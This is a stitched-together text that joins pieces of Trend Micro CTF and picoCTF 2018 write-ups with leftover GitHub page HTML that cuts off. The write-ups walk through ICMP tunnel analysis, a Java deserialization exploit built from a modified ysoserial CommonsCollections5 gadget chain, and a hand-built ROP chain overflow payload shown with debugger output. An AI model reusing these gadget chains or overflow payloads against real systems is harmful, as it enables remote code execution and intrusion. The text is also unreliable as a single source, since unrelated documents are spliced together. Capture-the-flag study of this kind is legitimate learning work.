DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}` ### 200 We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them: ```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...``` Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result. ```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN #humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14) #NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()``` ![](https://i.imgur.com/8kxeOoM.png) With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....` The flag comes out to be `TMCTF{flag:1}`. ### 300 The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input: ```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ``` ```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" }; public CustomOIS(ServletInputStream is) throws IOException { super(is); } public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }} ``` ```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }} ``` I use [jd-gui](http://jd.benow.ca/) to decompile the java class files. The objective is to invoke `Flag.getFlag()`. However, it's tricky because: 1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method. So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit. We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`. With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server. Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE. Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`. Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java): ```java// Some of the code is omitted.... import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } } public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) }; ... ``` We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick: ```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')``` The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
this is actually my first time with rop chains. basically it's a chain of overwritten return-addresses at which you make the instruction pointer go to do what you want. there are tools to automate this process but we'll do this one by hand. glancing at the source cose we can clearly see where we need to hijack the eip each step; something like this, at least as an initial plan: win_function1()->win_function2()->flag(). since i'm using radare2 for debug, i set up the rarun2 profile like this: ```——> cat rrp.rrpstdin=./inputaslr=no``` the aslr part is important otherwise it becomes impossible without making the program leak an address on the stack. then i write the input i would normally give to the program in the file ./input and run r2 -r rrp.rrp. since the buffer is 16 byte, we'll start with 12 and look at the stack ```——> python -c "print('A' * 12)" > input[andrei@jacky 00:14:51] ~/Documents/pico——> xxd input00000000: 4141 4141 4141 4141 4141 4141 0a AAAAAAAAAAAA.——> r2 -Ad rop -r rrp.rrpProcess with PID 32304 started...[..][0xf7fd50b0]> s sym.vuln[0x08048714]> pdf/ (fcn) sym.vuln 39| sym.vuln ();| ; var int local_18h @ ebp-0x18| ; CALL XREF from sym.main (0x804877c)| 0x08048714 55 push ebp| 0x08048715 89e5 mov ebp, esp| 0x08048717 83ec18 sub esp, 0x18| 0x0804871a 83ec0c sub esp, 0xc| 0x0804871d 686f890408 push str.Enter_your_input ; 0x804896f ; "Enter your input> "| 0x08048722 e8f9fcffff call sym.imp.printf ; int printf(const char *format)| 0x08048727 83c410 add esp, 0x10| 0x0804872a 83ec0c sub esp, 0xc| 0x0804872d 8d45e8 lea eax, [local_18h]| 0x08048730 50 push eax| 0x08048731 e8fafcffff call sym.imp.gets ; char *gets(char *s)| 0x08048736 83c410 add esp, 0x10| 0x08048739 c9 leave\ 0x0804873a c3 ret[0x08048714]> db @ 0x08048736 ``` by breaking right after the call to gets, we can easily see all our buffer and plan the initial overwrite ```|[x] StackRefs || 0xffffd870 0xffffd880 .... @esp eax stack R W 0x41414141 (AAAAAAAAAAAA) --> ascii || 0xffffd874 0xf7fe9290 .... (/usr/lib32/ld-2.28.so) library R X 'pop edx' 'ld-2.28.so' || 0xffffd878 0x00000000 .... ebx || 0xffffd87c 0x392e8400 ...9 || 0xffffd880 0x41414141 AAAA @eax ascii || 0xffffd884 0x41414141 AAAA ascii || 0xffffd888 0x41414141 AAAA ascii || 0xffffd88c 0x08048700 .... (.text) (/home/andrei/Documents/pico/rop) sym.flag program R X 'jmp 0x8048712' 'rop' || 0xffffd890 0x000003e8 .... (.symtab) || 0xffffd894 0x000003e8 .... (.symtab) || 0xffffd898 0xffffd8b8 .... @ebp stack R W 0x0 --> ebx || 0xffffd89c 0x08048781 .... (.text) (/home/andrei/Documents/pico/rop) sym.main program R X 'mov eax, 0' 'rop' || 0xffffd8a0 0x00000001 .... (.comment) | :> dbt0 0x8048736 sp: 0x0 0 [sym.vuln] 1 0xf7fe9290 sp: 0xffffd874 4 [??] map.usr_lib32_ld_2.28.so.r_x+825762 0x8048781 sp: 0xffffd89c 40 [sym.main] main+703 0xf7fe9290 sp: 0xffffd924 136 [??] map.usr_lib32_ld_2.28.so.r_x+825764 0x80484f1 sp: 0xffffd93c 24 [??] entry0+33``` our strings starts at 0xffffd880, and the return address to main+70 is at 0xffffd89c; that's 16 more bytes. so let's modify the input file and run again ```——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08')" > input``` we succesfully entered the win_function1; on its ```pop ebp``` instruction the (interesting part of) stack layout is this: ```0xffffd89c 0x41414141 AAAA @ebp ascii0xffffd8a0 0x00000000 .... ebx``` with esp at 0xffffd89c. so it will put 0x41414141 into ebp and return to 0x00000000. no good, we need to replace that return addresses. let's put the address of win_function2 there ```——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08')" > input——> xxd input00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA00000010: 4141 4141 4141 4141 4141 4141 cb85 0408 AAAAAAAAAAAA....00000020: d885 0408 0a ..... ``` ok it enters win_function2, but then it checks if arg_check1 is 0xbaaaaaad: ```:> pdf @ sym.win_function2 ;-- eip:/ (fcn) sym.win_function2 83| sym.win_function2 (int arg_8h);| ; arg int arg_8h @ ebp+0x8| 0x080485d8 55 push ebp| 0x080485d9 89e5 mov ebp, esp| 0x080485db 83ec08 sub esp, 8| 0x080485de 0fb60541a004. movzx eax, byte obj.win1 ; [0x804a041:1]=1| 0x080485e5 84c0 test al, al| ,=< 0x080485e7 7412 je 0x80485fb| | 0x080485e9 817d08adaaaa. cmp dword [arg_8h], 0xbaaaaaad ; [0xbaaaaaad:4]=-1| ,==< 0x080485f0 7509 jne 0x80485fb``` we can see that it grabs arg_check1 from ebp+8. the value that goes into ebp is the esp at the entrance into the function, so 0xffffd8a0, so we need to write on 0xffffd8a8 this is the stack now```:> px 128 @ esp - 64- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0xffffd860 243e f9f7 243e f9f7 98d8 ffff 3687 0408 $>..$>......6...0xffffd870 80d8 ffff 9092 fef7 0000 0000 0082 6583 ..............e.0xffffd880 adaa aaba 4141 4141 4141 4141 4141 4141 ....AAAAAAAAAAAA0xffffd890 4141 4141 4141 4141 78d8 ffff 78d8 ffff AAAAAAAAx...x...0xffffd8a0 78d8 ffff 00d9 ffff 6cd9 ffff e803 0000 x.......l.......``` and this is at right after our buffer is copied on the stack ```:> px 64 @ esp- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0xffffd870 80d8 ffff 9092 fef7 0000 0000 0014 4367 ..............Cg0xffffd880 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA0xffffd890 4141 4141 4141 4141 4141 4141 cb85 0408 AAAAAAAAAAAA....0xffffd8a0 d885 0408 00d9 ffff 6cd9 ffff e803 0000 ........l.......``` let's just write onto it and hope it doesn't screw up ```——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08BBBB\xad\xaa\xaa\xba')" > input——> xxd input00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA00000010: 4141 4141 4141 4141 4141 4141 cb85 0408 AAAAAAAAAAAA....00000020: d885 0408 4242 4242 adaa aaba 0a ....BBBB.....``` it works fine. as we can see we got both the flags set to true ```:> px @ obj.win1- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0804a041 01 .:> px @ obj.win2- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x0804a042 01 .``` at the next ret instruction, it will go to ```0xffffd8a4 0x42424242 BBBB @esp ascii```, so we'll just but the address of flag() there ```——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba')" > input && xxd input00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA00000010: 4141 4141 4141 4141 4141 4141 cb85 0408 AAAAAAAAAAAA....00000020: d885 0408 2b86 0408 adaa aaba 0a ....+........``` this will also check for the value 0xdeadbaad in arg_check2 in ebp+8. base pointer will be 0xffffd8a4, so we'll need to write on 0xffffd8ac, right after arg_check1 ```——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde')" > input && xxd input00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA00000010: 4141 4141 4141 4141 4141 4141 cb85 0408 AAAAAAAAAAAA....00000020: d885 0408 2b86 0408 adaa aaba adba adde ....+...........00000030: 0a .``` check okay, and it prints the flag. congratulations to me for my first rop thing lol ```xnand@pico-2018-shell-3:/problems/rop-chain_4_6ba0c7ef5029f471fc2d14a771a8e1b9$ ./rop <<< $(python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde')")Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_718e6c5c}Segmentation fault (core dumped)```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-write-ups/bsides2018/easypeasy at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8C0E:7C06:16033F7:1694588:641225A1" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0862e07d88a24b1bd3ef9dc089c9cfa3422c9a8c8dbee06f280fcbaba07b684c" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4QzBFOjdDMDY6MTYwMzNGNzoxNjk0NTg4OjY0MTIyNUExIiwidmlzaXRvcl9pZCI6IjIyNjg1OTYxMDUzMTM5MjA0MTciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="cb6d155c970999c7adca2c74cb157dc4920a2257611dc1aa6df3802eb43cbaa9" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/bsides2018/easypeasy at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/bsides2018/easypeasy at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git"> <meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" /> <link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/bsides2018/easypeasy" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop 